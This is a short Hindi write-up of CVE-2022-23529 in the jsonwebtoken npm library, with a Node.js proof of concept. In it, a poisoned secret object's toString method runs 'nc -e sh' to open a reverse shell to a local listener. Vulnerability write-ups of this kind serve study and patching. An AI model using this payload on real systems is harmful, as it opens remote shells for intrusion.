CVE-2022-23529

JSON वेब टोकन (JWT) लाइब्रेरी के संस्करण 3.4.6, 4.0.4, और 4.1.5 से पहले के संस्करण RCE के प्रति संवेदनशील हैं।

HMAC हैशिंग फ़ंक्शन किसी भी स्ट्रिंग को इनपुट के रूप में लेते हैं, जिससे RCE होता है।

पूर्व शर्तों के कारण, इस कमजोरी का शोषण होने की संभावना नहीं है।

इस कमजोरी का शोषण करने के लिए, एक हमलावर को निम्नलिखित में से एक शर्त सत्य होनी चाहिए:

• सर्वर गुप्त कुंजियों को सुरक्षित रूप से संग्रहीत नहीं करता है।
• हमलावर के पास गुप्त कुंजियों तक पहुंच और उन पर नियंत्रण होना चाहिए।

npm install [email protected]

var jwt = require('jsonwebtoken');

सर्वर के गुप्त का उपयोग करके एक टोकन बनाएं

var token = jwt.sign({"x":"y"}, 'servers_secret');

एक दुर्भावनापूर्ण ऑब्जेक्ट बनाएं जिसमें रिवर्स शेल हो (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}